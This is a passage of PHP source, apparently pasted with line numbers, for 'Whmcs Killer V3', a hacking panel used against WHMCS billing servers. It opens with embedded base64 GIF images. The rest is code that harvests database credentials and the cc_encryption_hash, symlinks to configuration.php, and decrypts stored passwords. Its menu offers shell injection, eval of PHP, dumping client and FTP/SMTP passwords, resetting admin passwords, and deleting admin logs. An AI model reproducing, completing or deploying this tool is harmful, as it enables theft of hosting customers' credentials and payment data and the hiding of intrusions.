ow0JYBGkDAmgEaUMeYQpQyFtuhBJO4XKUqikwvQFD0tk8UMWS/DwRakBXP+Axg841GorDj+gccFRViUlASAvBCvssC8AIkGvSkVABArMNutss0REEBZZZDWRwbXYZqttE23B9ZYOVawg7rgJjTtuFQ345RceJbTrbgkJvesuHostpsQJ+OZ7QkL65qsEZpiFIcPAMkxEsAxhkEaaFTQ0TMNEDtNgBWywRTHDxTNMhPEMUfDG2xEmhCyyCQmNLPIRySVXyAQstzxBQi63XIh11vnQAwI455xQzjn34AN5QCfB89BEJ9EefPDpkAHRTGegw37+RV2AGUzzbEYBCS644Btj9BAzyz2M8caFG5bdgAJFwEHIBITAUYQCJrIo99wnukjj3XgfYCOPfPc0feOQgAfuY5FMFm54AU5CaeXii2OpJZdiRh4mmWai6ebll8MpJ5127ul5nn3+GeihpBsaEAA7'));
  31.   exit;
  32.   }    if ($_GET['img']==3){  header('Content-Type: image/gif');
  33.    echo (base64_decode('R0lGODlhrwAlANUAAP////7+/v39/erq6rKystfX1+Dg4Nvb2+fn5/f39/n5+fDw8OXl5e7u7vj4+OLi4uvr6/z8/PT09PPz8/Hx8fr6+vv7+/b29tjY2N7e3tTU1NLS0ubm5rS0tOnp6bm5udnZ2cTExNHR0e/v793d3cPDw+jo6L29vcnJycbGxt/f38XFxcDAwMLCwqurq9ra2ri4uM7Ozq6ursjIyKysrOPj4wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAACvACUAAAb/QIBwSCwaj8ikcslsOp/QaDMxYnA8g+xAyu16v+CwV8AxmLTitHrNbhdHB07WTa/b78YaCLHF+/+AXQExKh6Bh4iJRiQiHAGPkJGSk5SVlpeYmZqbnJ2enwELJQagpaanqKmqnwofB6uwsbKztI8dILW5uru8kAQFAsHCw8TFxsfIycrLzM3Oz9DRwb/S1dbX2Nna0r8R3t/g4eLj5OXm5+jp6uvs7e7evxby8/T19vf4+fr7/P3+/wADCpT3q4LBgwgTKlzIsKHDhxAjSpxIsaJFg78UaNzIsaPHjyBDihxJsqTJkyhTqtT4y4HLlzBjypxJs6bNmzhz6tzJs6dP/5e/EggdSrSo0aNIkypdyrSp06dQo0oV+uuC1atYs2rdyrWr169gw4odS7asWau/JKhdy7at27dw48qdS7eu3bt48+pV+2uC37+AAwseTLiw4cOIEytezLixY7+/KEieTLmy5cuYM2vezLmz58+gQ4uW/GuB6dOoU6tezbq169ewY8ueTbu2bdO/Gujezbu379/AgwsfTry48ePIkyvX/QuC8+fQo0ufTr269evYs2vfzr27d+e/tIgfT768+fPo06tfz769+/fwx/9CQL++/fv48+vfz7+///8ABijggATS9wsDCCao4IIMNujggxBGKOGEFFZo4YUYMvDALw906P/hhyCGKOKIJJZo4okopqjiiiy2+EABHWBgwIw01mjjjTjmqOOOPPbo449ABinkkAas4EoGSCap5JJMNunkk1BGKeWUVFZp5ZVYkkDAKAd06eWXYIYp5phklmnmmWimqeaabLbZAgGNYCDnnHTWaeedeOap55589unnn4AGGugMLoSQgQcaJKrooow26uijkEYq6aSUVmrppZhaugEMNLCwxwAbhCrqqKSWauqpqKaq6qqsturqq7CyisIJMnSQwgtyDEDArrz26uuvwAYr7LDEFmvsscgmq6yxHXwQwgZmaFHAtNRWa+212Gar7bbcduvtt+CGK663GBxgwBXiBQEAOw=='));
  34.   exit;
  35.   }    if ($_GET['img']==4){  header('Content-Type: image/gif');
  36.    echo (base64_decode('R0lGODlhAQA3AMQAADAwMDExMTU1NTIyMk5OTjQ0NDg4OD4+PjMzM0xMTDs7O0pKSlBQUElJSTw8PDc3NzY2NkBAQEVFRUhISDo6OkREREFBQUJCQj8/P0dHR0ZGRjk5OUNDQwAAAAAAAAAAACH5BAAAAAAALAAAAAABADcAAAUmIMMQZJIsSzNlmlRxlxVhx+EoCrUZxgMJwEIBgRgYA0gkYMlkhgAAOw=='));
  37.   exit;
  38.   }    if ($_GET['img']==5){  header('Content-Type: image/gif');
  39.    echo (base64_decode('R0lGODlhBQABAKIAAOjo6OPj49zc3NLS0sfHxwAAAAAAAAAAACH5BAAAAAAALAAAAAAFAAEAAAMECCFDCQA7'));
  40.   exit;
  41.   }    if ($_GET['img']==6){  header('Content-Type: image/gif');
  42.    echo (base64_decode('R0lGODlhAwABAIABAM/Pz////yH5BAEAAAEALAAAAAADAAEAAAICRFIAOw=='));
  43.   exit;
  44.   }    if ($_GET['img']==7){  header('Content-Type: image/gif');
  45.    echo (base64_decode('R0lGODlhEAAQAIABAN8AAP///yH5BAEAAAEALAAAAAAQABAAAAIhjI+py82Q4AL0UIlu1djy+3wON4rTV0VaQKoYOEXOTB8FADs='));
  46.   exit;
  47.   }    if ($_GET['img']==8){  header('Content-Type: image/gif');
  48.    echo (base64_decode('R0lGODlhEAAQAIABACewC////yH5BAEAAAEALAAAAAAQABAAAAIfjI+py+0I3gFU0utuTdHoDlWf8mlMCS7jg0lB6sZPAQA7'));
  49.   exit;
  50.   }    if ($_GET['img']==9){  header('Content-Type: image/gif');
  51.    echo (base64_decode('R0lGODlhEAAQAMQVAACFzP///wyLznvA5fP5/SGV0zCc1oHD5gOGzcDh8jmg1+r1+67Y7+32+w+Mz37B5Taf16vX7rre8bfd8QaIzf///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAABUALAAAAAAQABAAAAVUYCWOZFkSh4IgykGYVVIAdF0kJVPvNTM2gl0gsBM0RAOeEjAQGYRDnkFE4UV3DpHDSiw6uVIk9EprVhbBJU2wGEXUtEhJMuMVJjDCA0KDPF4wgSQhADs='));
  52.   exit;
  53.   }    if ($_GET['img']==10){  header('Content-Type: image/gif');
  54.    echo (base64_decode('R0lGODlhEAAQAKIEAN8AAP///+UvL+QqKv///wAAAAAAAAAAACH5BAEAAAQALAAAAAAQABAAAAM0SLokwhACEKuYo8pJtbpc5nGcBwYBpnFoGYFAq26TPEFwnIYM6bsNn232G95yP9IgyQQkAAA7'));
  55.   exit;
  56.   }    if ($_GET['img']==11){  header('Content-Type: image/gif');
  57.    echo (base64_decode('R0lGODlhBQBGAOYAAP////7+/vv7+/39/ebm5vT09Pz8/O/v7+3t7eHh4evr6/j4+Pn5+fHx8fLy8uPj4+np6ff39/b29t7e3tvb29jY2NbW1hWn9gWN1gaO19LS0gaK0gaM1BWn9QWJ0AWFygWGywSEyAR5uANtpgWM1YXQ+LvJ0UOw68fo+rHP38Ti8pXB2DaLuE+895KwwEGWxGelxrfi+Xq42dXX1/D4/ESx66nL3DqazkSk2NHZ3fH5/efv9M/X26nG1r7Hy/z+//z9/tTV1nC64ub0/E679QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAAFAEYAAAfEgBcXLTFDHSUAiUQ/iQAojQA6kJMBlZaXmAOam5wGnp4CoaKjDKWlC6ioEaurEq6uBbGxDrS0Dbe3B7q6CL29CsDAEMPDBMbGD8nJCczMORPQEz0U1BQ3MxXZGzAW3RkgLC4+GRwfIiMYGCQeIYInKyYdQhr0NUHdFjbZ2TzVFNHQmjFTluyYMWLDggHz1WuXLly3atGSFeuVK1arUqEyVWqURwGfPHEaOQCTyUs0IKmAhANIow0yGn17kWIHOXPo1LELBAA7'));
  58.   exit;
  59.   }    if ($_GET['img']==12){  header('Content-Type: image/gif');
  60.    echo (base64_decode('R0lGODlh8QFGAOYAAP////7+/v39/fv7++Hh4fz8/Pj4+Pn5+ff39/Hx8ebm5vLy8vb29uvr6+/v7+np6fT09O3t7ePj497e3tvb29bW1tjY2NLS0gR/wQJjl8/PzwRnnAJkmANlmQRmmxWn9gJmnAVonQR5uASAwwFilgWN1gaO1w2O0wNlmgNmmgJjmANtpgSEyBKf6gaDxQuL0AeFxwN0sAWJ0AaGywh1sBGZ4gZsogyL0BOh7QRnmwNkmQVongWFygqIzAeDxgWGywiFyQuLzweExxSl8gJmmwmHyg2O1BSk8QmIyw2N0gaK0gWM1QWDxQyHyAqKzgNspRGX3w+S2AqIzQeFyAyM0RWm9BWn9QiGygaM1A6P1RKa4waCxQqJzUCCpkCCpTV3m/D1+MTb6Huov2yszjZ4nNTY2kGn38PX4tXW15Ksuub0+z2VxYLC5LHL2fz9/vP3+Uefz77GyrvJ0JW9002z67bf9M7T1qe7xmeUrOfv86a9ygAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAADxAUYAAAf/gACCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXmJmam5ydnplqdXQ4VR8fn6ipqqusra6vsLGys4xsWkdWtLq7vL2+v8DBwolwNUPDyMnKy8zNzqphTS3P1NXW19jZr2A0UNrf4OHi49c2UQHo6err7O3u7/Dx8vP09fb3+Pn6+/z9/v8AAwocSJDgjiwFEypcyLChw4cQI0qcSJFeCCMVM2rcyLGjx48gQ8ILcUKAyZMoU6pcybKly5cwY8qcSbOmzZs4c+rcybOnz59AgwoVuqHk0KNIkypdyrSp06dQo0qNuSFJgatYs2rdyrWr169gw4odS7as2bNo06pdy7at27dw/+PKnTt3A5UBePPq3cu3r9+/gAMLHky4sOHDiBMrXsy4sePHkCNLnkyZ8oYblTNr3sy5s+fPoEOLHk2acI4XB1KrXs26tevXsGPLnk27tu3buHPr3s27t+/fwIMLH068eHEPQQwoX868ufPn0KNLn069uvXr2LNr3869u/fv4MOLH0++vHnzHpwgWM++vfv38OPLn0+/vv37+PPr38+/v///AAYo4IAEFmjggQd6wAUDDDbo4IMQRijhhBRWaOGFGGao4YYcdujhhyCGKOKIJJZo4okoopiCFBC06OKLMMYo44w01mjjjTjmqOOOPPbo449ABinkkEQWaeSRSCaZZP8KPSzg5JNQRinllFRWaeWVWGap5ZZcdunll2CGKeaYZJZp5plopqmmmiggkcCbcMYp55x01mnnnXjmqeeefPbp55+ABirooIQWauihiCaq6KKLolCEA5BGKumklFZq6aWYZqrpppx26umnoIYq6qiklmrqqaimquqqrLLawRURxCrrrLTWauutuOaq66689urrr8AGK+ywxBZr7LHIJqvsssw222wHQDQg7bTUVmvttdhmq+223Hbr7bfghivuuOSWa+656Kar7rrstuuuux1M8cC89NZr77345qvvvvz26++/AAcs8MAEF2zwwQgnrPDCDDfs8MMP6wCDAhRXbPH/xRhnrPHGHHfs8ccghyzyyCSXbPLJKKes8sost+zyyzDDzIEQEtRs880456zzzjz37PPPQAct9NBEF2300UgnrfTSTDft9NNQRx01Bz4QYPXVWGet9dZcd+3112CHLfbYZJdt9tlop6322my37fbbcMctt9wcbDHB3XjnrffefPft99+ABy744IQXbvjhiCeu+OKMN+7445BHLvnkkpfBgQsUZK755px37vnnoIcu+uikl2766ainrvrqrLfu+uuwxy777LTXTvsdRDBhwe689+7778AHL/zwxBdv/PHIJ6/88sw37/zz0Ecv/fTUV2/99dWjQcYTM1Tg/ffghy/+//jkl2/++einr/767Lfv/vvwxy///PTXb//9+OevP/54kCCCEhcIoAAHSMACGvCACEygAhfIwAY68IEQjKAEJ0jBClrwghjMoAY3yMEOYjAOafgCCWLwAxOAQAUZSKEKV8jCFrrwhTCMoQxnSMMa2vCGOMyhDnfIwx768IdADKIQh0jEIvpQBSBYgQh4gAUTjAADUIyiFKdIxSpa8YpYzKIWt8jFLnrxi2AMoxjHSMYymvGMaEyjGtfIxjOOgAUyWEIJSqCBOtrxjnjMox73yMc++vGPgAykIAdJyEIa8pCITKQiF8nIRjrykZCMJCPlMAczkMIUHsykJjfJyU568v+ToAylKEdJygWO4RZW2J8qV8nKVrrylbCMpSxnSctapm8NxsCeLnfJy1768pfADKYwh0nMYhpPD9KwnTKXycxmOvOZ0IymNKdJzWqSzg7doJw2t8nNbnrzm+AMpzjHSc5yDs4cc0unOtfJzna6853wjKc850lPsR1EavjMpz73yc9++vOfAA2oQAcatIvE7KAITahCF8rQhjr0oRCNqERBRhKIWfSiGM2oRjfK0Y569KMgDem/ivKukpr0pChNqUpXytKWuvSlMPVWVZxF05ra9KY4zalOd8rTnvr0p72yS6uGStSiGvWoSE2qUpfK1KY6lVOXYZRUp0rVqlr1qlj/zapWt8rVru7pNGsKq1jHStaymvWsaE2rWtfKVi0hR0lwjatc50rXutr1rnjNq173mqP0pOivgA2sYAdL2MIa9rCITaxiMaQgBDn2sZCNrGQnS9nKWvaymM3sfVZ0ns569rOgDa1oR0va0pr2tKi1DpOMw9rWuva1sI2tbGdL29ra9ra1aVNpdsvb3vr2t8ANrnCHCxhHEfe4yE2ucpfL3OZy5lV0ia50p0vd6lr3utjNrna3y92xQGsq4A2veMdL3vKa97zodUm80sve9rr3vfCNr3yVIjGR2Pe++M2vfvfLX4bMrL8ADrCAB0zgAkeEagZOsIIXzOAGD7hu5IiwboQnTOEKd+INl7OwhjfM4Q5T+Ay587CIR0ziEgvDDV7gnolXzOIWu5gTYvCfEl5M4xrb+MZ5aEMXRljCExrxx0AOspCHTOQiG/nISE6ykl2IRCUy0YltjLKUp0zlKlv5yljOspa3zOUrvjGOcwwEADs='));
  61.   exit;
  62.   }    if ($_GET['img']==13){  header('Content-Type: image/gif');
  63.    echo (base64_decode('R0lGODlhAQBBANUAABis+xmt/QKI0Beq+QOK0gGHzhSl8hCe6wWN1Rap9xqu/giS3AqV3wKHzwaP2RWn9Q6b5xqv/wuX4gyY4w+d6Rir+giS2wmU3hGh7hKi7xmu/g2a5hOk8QeR2gSL0wyZ5AuW4RSl8wSM1Rao9gmT3QCGzQ6c6ACFzBWn9gaO1w2a5RSm9Bap+AWN1geQ2gqW4BKi8AGGzQ+e6gSL1Bit/BCf7BOj8E3T/wKJ0QaP2BGg7QAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAABAEEAAAY7wFtEoQkEaABAZTBgJUaoxypk4NhgGYyudpBRTJCN6jORgF6MC2lh6bgcuVQLIZp5CAScQNAoFGIlJ0EAOw=='));
  64.   exit;
  65.   }    if ($_GET['img']==14){  header('Content-Type: image/gif');
  66.    echo (base64_decode('R0lGODlhAQACAIAAAP///8/PzyH5BAAAAAAALAAAAAABAAIAAAICDAoAOw=='));
  67.   exit;
  68.   }    if ($_GET['img']==15){  header('Content-Type: image/gif');
  69.    echo (base64_decode('R0lGODlhDQBkAIABAOrq6v///yH5BAEAAAEALAAAAAANAGQAAAJLhI+py+0Po5y02ouz3rz7D4YiFUBB6Zwoo65K6yJwbMy0HeOuvvKoXwIKhQBfTXdAJm0JZhO2gEZVDWqV1hxpt9yu9wsOi8fkMqQAADs='));
  70.   exit;
  71.   }    if ($_GET['img']==16){  header('Content-Type: image/gif');
  72.    echo (base64_decode('R0lGODlhCQAJAIABAJ+fn////yH5BAEAAAEALAAAAAAJAAkAAAINRI6pZ+vYnotSmRtuAQA7'));
  73.   exit;
  74.   }    if ($_GET['img']==19){  header('Content-Type: image/gif');
  75.    echo (base64_decode('R0lGODlhBADIALMAAOrq6t8AAOvr6/////Hx8eEPD/39/eESEuzs7OIbG+pUVOpXV/z8/Pzk5PrY2AAAACH5BAAAAAAALAAAAAAEAMgAAAQ9cLSV3AlB4VC2/2AojmRpnmiqrmzrvnAsz3RtDgaBMAIAED5AL0gsGo/IpHLJbDqf0Kh0Sq1ar9isdruMAAA7'));
  76.   exit;
  77.   }   if ($_GET['img']==20){  header('Content-Type: image/gif');
  78.    echo (base64_decode('R0lGODlh8AHIALMAAOrq6t8AAP///+vr6/Hx8eESEulRUfz8/OpXV/rV1ezs7OIbG/zk5P39/eEMDAAAACH5BAAAAAAALAAAAADwAcgAAAT/MMhJq7046827/2AojmRpnmiqrmzrrgvCCG9t33iu73zv/8BOIREsGo/IpHLJbGoMzqh0Sq1arzgHdsvter/gsHhMLpvP6LR6zW673/C4fE6v2+/4vH7P7/v/gIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXmJmam5ydnp+goaKjpKWmp6ipqqusra6vsLGys7S1tre4ubq7vL2+v8DBwsPExcbHyMnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx8vP09fb3+Pn6+/z9/v8AAwocSLCgwYMIEypcyLChw4cQI0qcSLGixYsYM2rcyLGjx48g/0OKHEmypMmTKFOqXMmypcuXMGPKnEmzps2bOHPq3Mmzp8+fQIMKHUq0qNGjSJMqXcq0qdOnUKNKnUq1qlUmALJq3cq1q9evYMOKHUu2rNmzaNOqXcu2rdu3cOPKnUu3rlwFBBoIsMu3r9+/gAMLHky4sOHDZAccQMy4sePHkCNLnkw5LIHKmDNr3sy5s+e/Az6LHk26tOnTqFOrXs26tevXsGPLnk27tu3buHPr3s27t+/fwIMLH068uPHjyJMrX868ufPn0KNLn069uvXr2LNr3869u/fv4MOLH0++vPnz6NOrX8++vfv38OPLn0+/vv37+PPr38+/v///AAYo4MSABBZo4IEIJqjgggw26OCDEEYo4YQUVmjhhRhmqOGGHHbo4YcghijiiCSWaOKJKKao4oostujiizDGKOOMNNZo44045qjjjjz26OOPQAYp5JBEFmnkkUgmqeSSTDbp5JNQRinllFRWaeWVWGap5ZZcdunll2CGKeaYZJZp5plopqnmmmy26eabcMYp55x01mnnnXjmqeeefPbp55+ABirooIQWauihiCaq6KKMNuroo5BGKumklFZq6aWYZqrpppx2OlkEADs='));
  79.   exit;
  80.   }    if ($_GET['img']==21){  header('Content-Type: image/gif');
  81.    echo (base64_decode('R0lGODlhDAAJAIABAIDQ/////yH5BAEAAAEALAAAAAAMAAkAAAITjB+Aa6B83JOUpoqzhRK254FBAQA7'));
  82.   exit;
  83.   }    if ($_GET['img']==22){  header('Content-Type: image/gif');
  84.    echo (base64_decode('R0lGODlhAQAjAMQAADAwMDExMTIyMjU1NUxMTEFBQT8/P0pKSkdHR1BQUDk5OT4+PjQ0NDw8PDc3Nzo6OkJCQk9PTzMzM0REREhISDs7O05OTjY2NkVFRQAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAABACMAAAUaYBJZBHFQCDZBhbE01aM41zAwkiAEfAD8vxAAOw=='));
  85.   exit;
  86.   }    if ($_GET['img']==23){  header('Content-Type: image/gif');
  87.    echo (base64_decode('R0lGODlhCAAIAMQAAM/Pz/////r6+t7e3vz8/N/f39TU1NbW1vv7+9LS0tPT0/j4+OHh4dzc3NXV1d3d3f39/QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAAIAAgAAAUtYCAMSTIIAWEALGAgBTAQxAAUKyq6CqALAEWssVg8bohDC+BABCCMw4FBCIQAADs='));
  88.   exit;
  89.   }  if ($_GET['img']==24){  header('Content-Type: image/gif');
  90.   echo (base64_decode('R0lGODlhCAAIAMQAAN8AAP///+lOTuQkJP3t7fzn5+IXF+pXV/rb2+pUVOEREeIaGvzk5OtgYPzr6/zl5ehFReMeHvzq6uIYGOlRUf3w8OIbG/729uhLSwAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAAIAAgAAAUzYPAIiiI8AWEBLDBJByAQBAUcC8AEAQMsBkCBVwAYEgAIAoEBJByDFiDiCFwag0GjEggBADs='));
  91.   exit;
  92.   }   function login(){echo"
  93.  
  94. <center><div id='content' class='box'>
  95.  
  96. <br>
  97. <center>
  98.  
  99. <h3  class=\"tit\">
  100. DB configuration of WHMCS</h3><br>
  101. </center>
  102.  
  103. <FORM action=\"\"  method=\"post\" >
  104.  
  105. <input type=\"hidden\" name=\"form_action\" value=\"1\">
  106. <br>
  107.  
  108. <table  >
  109.  
  110.  
  111. <tr class='bg'><td>Database Host </td><td><input type=\"text\" size=\"60\" name=\"db_host\" value=\"".$_COOKIE["db_host"]."\"></td></tr>
  112.  
  113. <tr ><td>Database Username </td><td><input type=\"text\" size=\"60\" name=\"db_username\" value=\"".$_COOKIE["db_username"]."\"></td></tr>
  114.  
  115. <tr class='bg'><td>Database Password</td><td><input type=\"text\" size=\"60\" name=\"db_password\" value=\"".$_COOKIE["db_password"]."\"></td></tr>
  116.  
  117. <tr><td>Database Name</td><td><input type=\"text\" size=\"60\" name=\"db_name\" value=\"".$_COOKIE["db_name"]."\"></td></tr>
  118.  
  119. <tr class='bg'><td>cc_encryption_hash</td><td><input type=\"text\" size=\"60\" name=\"cc_encryption_hash\" value=\"".$_COOKIE["cc_encryption_hash"]."\"></td></tr>
  120.  
  121.  
  122.  
  123. </table
  124. <br>
  125.  
  126. <INPUT class=\"input-submit\"  type=\"submit\" value=\"Submit\" name=\"Submit\">
  127. </FORM>
  128.  
  129.  
  130.  
  131. <h3  class=\"tit\">Symlink to configuration.php of WHMCS</h3><br>
  132.  
  133.  
  134. <FORM action=\"\"  method=\"post\">
  135. <input type=\"hidden\" name=\"form_action\" value=\"2\"><br>
  136.  
  137. <table ><tr class='bg'><td><input type=\"text\" size=\"30\" name=\"file\" value=\"\">
  138. <br>
  139.  </td><td><INPUT class=\"input-submit\"  type=\"submit\" value=\"Submit\" name=\"Submit\"></td></tr></table>
  140.  
  141. </FORM>";
  142. if($_COOKIE["login"]=="1"){$key=$_COOKIE["db_name"]."-".base64_encode(base64_encode($_COOKIE["db_host"])."|".base64_encode($_COOKIE["db_username"])."|".base64_encode($_COOKIE["db_password"])."|".base64_encode($_COOKIE["db_name"])."|".base64_encode($_COOKIE["cc_encryption_hash"])."|");
  143. echo"<p class='msg info'>Short info is <br><textarea cols=50 rows='4'>$key</textarea></p><br>";
  144. }echo"<h3  class=\"tit\">Short info</h3><FORM action=\"\"  method=\"post\">
  145.  
  146. <input type=\"hidden\" name=\"form_action\" value=\"3\">
  147. <br>
  148.  
  149. <table ><tr class='bg'><td><input type=\"text\" size=\"60\" name='key' ></td><td>
  150. </td><td><INPUT class=\"input-submit\"  type=\"submit\" value=\"Submit\" name=\"Submit\"></td></tr></table>
  151.  
  152. </FORM></center></div>
  153. <br>
  154. ";
  155. echo"</div> <!-- /cols -->
  156.     <hr class=\"noscreen\" />
  157.     <!-- Footer -->
  158.     <div id=\"footer\" class=\"box\">
  159.     <p class=\"f-left\">Coded by <a href=\"http://www.rab3oun.net\">RAB3OUN</a>, </p>
  160.         <p class=\"f-right\">Templates by Adminizio</p>
  161.     </div> <!-- /footer -->
  162. </div> <!-- /main -->
  163. </body>
  164. </html>";
  165. }function decrypt($string,$cc_encryption_hash){$key=md5(md5($cc_encryption_hash)).md5($cc_encryption_hash);
  166. $hash_key=_hash($key);
  167. $hash_length=strlen($hash_key);
  168. $string=base64_decode($string);
  169. $tmp_iv=substr($string,0,$hash_length);
  170. $string=substr($string,$hash_length,strlen($string)-$hash_length);
  171. $iv=$out="";
  172. $c=0;
  173. while($c<$hash_length){$iv.=chr(ord($tmp_iv[$c])^ord($hash_key[$c]));
  174. ++$c;
  175. }$key=$iv;
  176. $c=0;
  177. while($c<strlen($string)){if(($c!=0 AND$c%$hash_length==0)){$key=_hash($key.substr($out,$c-$hash_length,$hash_length));
  178. }$out.=chr(ord($key[$c%$hash_length])^ord($string[$c]));
  179. ++$c;
  180. }return$out;
  181. }function _hash($string){if(function_exists("sha1")){$hash=sha1($string);
  182. }else{$hash=md5($string);
  183. }$out="";
  184. $c=0;
  185. while($c<strlen($hash)){$out.=chr(hexdec($hash[$c].$hash[$c+1]));
  186. $c+=2;
  187. }return$out;
  188. }function randomt(){$chars="abcdefghijkmnopqrstuvwxyz023456789";
  189. srand((double)microtime()*1000000);
  190. $i=0;
  191. $pass="";
  192. while($i<=7){$num=rand()%33;
  193. $tmp=substr($chars,$num,1);
  194. $pass=$pass.$tmp;
  195. $i++;
  196. }return$pass;
  197. }function header2(){global$currentFile;
  198. echo"
  199. <html><title>Whmcs Killer V3 (Coded by RAB3OUN)</title><head>";
  200. echo"
  201.     <link rel=\"stylesheet\" media=\"screen,projection\" type=\"text/css\" href=\"".$currentFile."?css=1\" />
  202.     <link rel=\"stylesheet\" media=\"screen,projection\" type=\"text/css\" href=\"".$currentFile."?css=5\" />
  203.     <link rel=\"stylesheet\" media=\"screen,projection\" type=\"text/css\" href=\"".$currentFile."?css=4\" title=\"2col\" />
  204.     <link rel=\"alternate stylesheet\" media=\"screen,projection\" type=\"text/css\" href=\"".$currentFile."?css=3\" title=\"1col\" />
  205.    
  206.     <link rel=\"stylesheet\" media=\"screen,projection\" type=\"text/css\" href=\"".$currentFile."?css=2\" /> <!-- GRAPHIC THEME -->
  207.      
  208. ";
  209. echo"
  210. <style>
  211. #content {border:1px solid #afafaf;
  212.  background:#fff;
  213. width:650;
  214. }
  215. </style>
  216. <meta http-equiv='Content-Type' content='text/html;
  217.  charset=utf-8' />
  218. </head>
  219. <body >
  220.     <center><img src='?img=0'></center>
  221. ";
  222. }function header1(){global$currentFile;
  223. @$query0=mysql_query("SELECT value FROM tblconfiguration where setting='Charset' or setting='charset'");
  224. @$v0=mysql_fetch_array($query0);
  225. $charset=$v0["value"]?$v0["value"]:"utf-8";
  226. echo"<?xml version=\"1.0\"?><!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">
  227. <html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\">
  228. <head>
  229.     <meta http-equiv=\"Content-Type\" content=\"text/html;
  230.  charset=".$charset."\" />
  231.     <meta http-equiv=\"content-language\" content=\"en\" />
  232.     <meta name=\"robots\" content=\"noindex,nofollow\" />
  233.    
  234.     <link rel=\"stylesheet\" media=\"screen,projection\" type=\"text/css\" href=\"".$currentFile."?css=1\" /> <!-- RESET -->
  235.     <link rel=\"stylesheet\" media=\"screen,projection\" type=\"text/css\" href=\"".$currentFile."?css=5\" /> <!-- MAIN STYLE SHEET -->
  236.     <link rel=\"stylesheet\" media=\"screen,projection\" type=\"text/css\" href=\"".$currentFile."?css=4\" title=\"2col\" /> <!-- DEFAULT: 2 COLUMNS -->
  237.     <link rel=\"alternate stylesheet\" media=\"screen,projection\" type=\"text/css\" href=\"".$currentFile."?css=3\" title=\"1col\" /> <!-- ALTERNATE: 1 COLUMN -->
  238.    
  239.     <link rel=\"stylesheet\" media=\"screen,projection\" type=\"text/css\" href=\"".$currentFile."?css=2\" /> <!-- GRAPHIC THEME -->
  240.      
  241.     <title>Whmcs Killer  V3 (Coded by RAB3OUN)</title>
  242. </head>
  243. <body>
  244. <div id=\"main\">
  245. <?/**/?>
  246.     <!-- Tray -->
  247.     <div id=\"tray\" class=\"box\">
  248.         <p class=\"f-left box\">
  249.        
  250.              <strong>WHMCS KILLER V3 </strong>
  251.         </p>
  252.         <p class=\"f-right\">&nbsp;
  253. &nbsp;
  254. &nbsp;
  255. &nbsp;
  256. &nbsp;
  257.  <strong><a href=\"?p=9\" id=\"logout\">Log out</a></strong></p>
  258.     </div> <!--  /tray -->
  259.     <hr class=\"noscreen\" />
  260.     <center><img src=\"?img=0\"></center>
  261.     <hr class=\"noscreen\" />
  262.     <!-- Columns -->
  263.     <div id=\"cols\" class=\"box\">
  264.         <!-- Aside (Left Column) -->
  265.         <div id=\"aside\" class=\"box\">
  266.             <div class=\"padding box\">
  267.            
  268.                
  269.            
  270.             </div> <!-- /padding -->
  271.             <ul class=\"box\">";
  272. $menu=array("h"=>"Home","102"=>"Info","1"=>"H0st r00ts","2"=>"Domains Resellers","3"=>"Clients r00ts","4"=>"Clients Hosting Accounts","63"=>"Clients Tickets ","100"=>"Clients List ","105"=>"Clients Password","7"=>"FTP and SMTP password","8"=>"Tools","101"=>"Eval PHP","99\" target=\"blank"=>"SQL","11"=>"BackUp","106"=>"DailyEmailBackup","108"=>"1nj3c7 Sh311","109"=>"Payment Gateways","111"=>"Addon Modules","107"=>"Index","112"=>"Custom Fields");
  273. if($_COOKIE["login"]<>"1")$menu=array("c1"=>"Db Config","c2"=>"Symlink to configuration.php of WHMCS","c3"=>"Short info");
  274. foreach($menu as$x=>$y){if($_GET["p"]==$x){echo("<li id='submenu-active'>
  275. <a href=\"?p=$x\"> $y</a>");
  276. }else{echo("<li ><a href=\"?p=$x\" > $y</a>");
  277. }if(($x==8)){echo"<ul>";
  278. echo"<li><a href=\"?p=8&page=1\" > Upload</a></li>
  279.  <li><a href=\"?p=8&page=2\" >Delete Adminlog </a></li>
  280. <li><a href=\"?p=8&page=3\" >Change Admin Password to 123456</a></li>
  281. <li><a href=\"?p=8&page=4\" >Change Client Password to 123456</a></li>
  282. <li><a href=\"?p=8&page=5\" >Change Client Mail </a></li>
  283. <li><a href=\"?p=8&page=6\" >Decrypt Password</a></li>";
  284. echo"</ul>";
  285. echo"</li>";
  286. }else{echo"</li>";
  287. }}echo "            </ul>
  288.        
  289.            
  290.         </div> <!-- /aside -->
  291.         <hr class=\"noscreen\" />
  292.         <!-- Content (Right Column) -->
  293.         <div id=\"content\" class=\"box\">
  294.        
  295. ";
  296. }function actionSql(){$_POST["p2"]=stripslashes($_POST["p2"]);
  297. echo"<script>
  298.     var c_ = '".htmlspecialchars($GLOBALS["cwd"])."';
  299.  
  300.     var a_ = '".htmlspecialchars(@$_POST["a"])."'
  301.     var charset_ = '".htmlspecialchars(@$_POST["charset"])."';
  302.  
  303.     var p1_ = '".((strpos(@$_POST["p1"],"
  304. ")!==false)?"":htmlspecialchars($_POST["p1"],ENT_QUOTES))."';
  305.  
  306.     var p2_ = '".((strpos(@$_POST["p2"],"
  307. ")!==false)?"":htmlspecialchars($_POST["p2"],ENT_QUOTES))."';
  308.  
